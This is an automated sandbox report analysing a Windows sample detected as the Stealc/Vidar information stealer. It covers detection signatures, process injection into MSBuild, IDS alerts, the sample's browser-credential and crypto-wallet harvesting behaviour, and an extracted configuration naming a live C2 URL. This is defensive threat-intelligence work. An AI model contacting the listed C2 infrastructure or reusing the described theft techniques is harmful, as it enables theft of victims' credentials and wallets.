Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1528241
MD5:	7c6083bf70e2919d0957ffcb7b75ebeb
SHA1:	89254f92c908c0d99d150649aab4fdea7fc10b34
SHA256:	9714d301c8b96c7263dea4a36ddbdf74896d31f648d2836fa2d2642dccca17e8
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Searches for specific processes (likely to inject)

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1476 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 7C6083BF70E2919D0957FFCB7B75EBEB)

MSBuild.exe (PID: 3200 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 1732 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cmd.exe (PID: 6568 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userEGDGCGCFHI.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 6508 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1476 -s 268 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Threatname: Vidar

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.2473207536.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 1476	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 1732	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 1732	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 1732	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 1732	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.file.exe.dedad8.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.file.exe.dc0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.file.exe.dedad8.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.2.MSBuild.exe.400000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
2.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 46.8.231.109, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 1732, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49704

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T17:21:59.480630+0200	2044245	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T17:21:59.472361+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T17:21:59.652842+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T17:22:00.167409+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T17:21:59.662218+0200	2044247	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T17:21:59.286768+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	46.8.231.109	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T17:22:00.746360+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	46.8.231.109	80	TCP
2024-10-07T17:22:03.921571+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	46.8.231.109	80	TCP
2024-10-07T17:22:04.779221+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	46.8.231.109	80	TCP
2024-10-07T17:22:05.473887+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	46.8.231.109	80	TCP
2024-10-07T17:22:05.955234+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	46.8.231.109	80	TCP
2024-10-07T17:22:07.482901+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	46.8.231.109	80	TCP
2024-10-07T17:22:07.861845+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	46.8.231.109	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://46.8.231.109/c4754d4f680ead72.php	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	URL Reputation: Label: malware
Source: http://46.8.231.109	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.dedad8.1.raw.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}
Source: 0.2.file.exe.dedad8.1.raw.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00409B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	2_2_00409B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040C820 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcatA,lstrcatA,PK11_FreeSlot,lstrcatA,	2_2_0040C820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00407240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	2_2_00407240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00409AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	2_2_00409AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00418EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	2_2_00418EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BCB6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	2_2_6BCB6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE0A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	2_2_6BE0A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE043B0 PK11_PubEncryptPKCS1,PR_SetError,	2_2_6BE043B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6BE30180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	2_2_6BE30180

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49833 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000002.00000002.2499120866.000000006BEDF000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.2.dr, vcruntime140[1].dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.2.dr, msvcp140[1].dll.2.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000002.00000002.2499120866.000000006BEDF000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.2.dr, softokn3.dll.2.dr

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DD9ABF FindFirstFileExW,	0_2_00DD9ABF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	2_2_0040E430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_00414910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040BE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_004016D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040DA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	2_2_00413EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040F6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	2_2_004138B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	2_2_00414570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	2_2_0040ED20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040DE10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 46.8.231.109:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 46.8.231.109:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 46.8.231.109:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php
Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 15:22:00 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 15:22:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 